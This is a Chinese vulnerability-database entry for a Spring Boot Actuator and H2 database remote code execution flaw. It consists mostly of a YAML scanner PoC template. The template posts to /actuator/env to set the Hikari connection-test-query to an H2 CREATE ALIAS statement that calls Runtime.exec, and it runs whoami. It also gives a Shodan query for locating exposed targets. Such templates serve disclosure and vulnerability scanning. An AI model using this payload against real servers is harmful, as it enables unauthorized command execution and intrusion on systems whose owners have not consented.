springboot-h2-db-rce: Spring Boot H2 Database RCE

日期: 2025-09-01 | 影响软件: springboot-h2-db-rce | POC: 已公开

漏洞描述

shodan-query: http.favicon.hash:116323821

PoC代码[已公开]

id: springboot-h2-db-rce

info:
  name: Spring Boot H2 Database RCE
  author: dwisiswant0
  severity: critical
  verified: true
  description: |
    shodan-query: http.favicon.hash:116323821
  reference:
    - https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
    - https://twitter.com/pyn3rd/status/1305151887964946432
    - https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
    - https://github.com/spaceraccoon/spring-boot-actuator-h2-rce
  tags: springboot,actuator,h2database,rce
  created: 2023/08/05

rules:
  r0:
    request:
      method: POST
      path: /actuator/env
      headers:
        content-type: application/json
      body: |
        {
          "name":"spring.datasource.hikari.connection-test-query",
          "value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('whoami');"
        }
    expression: response.status == 200 && response.body.bcontains(b'"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT')
expression: r0()

相关漏洞推荐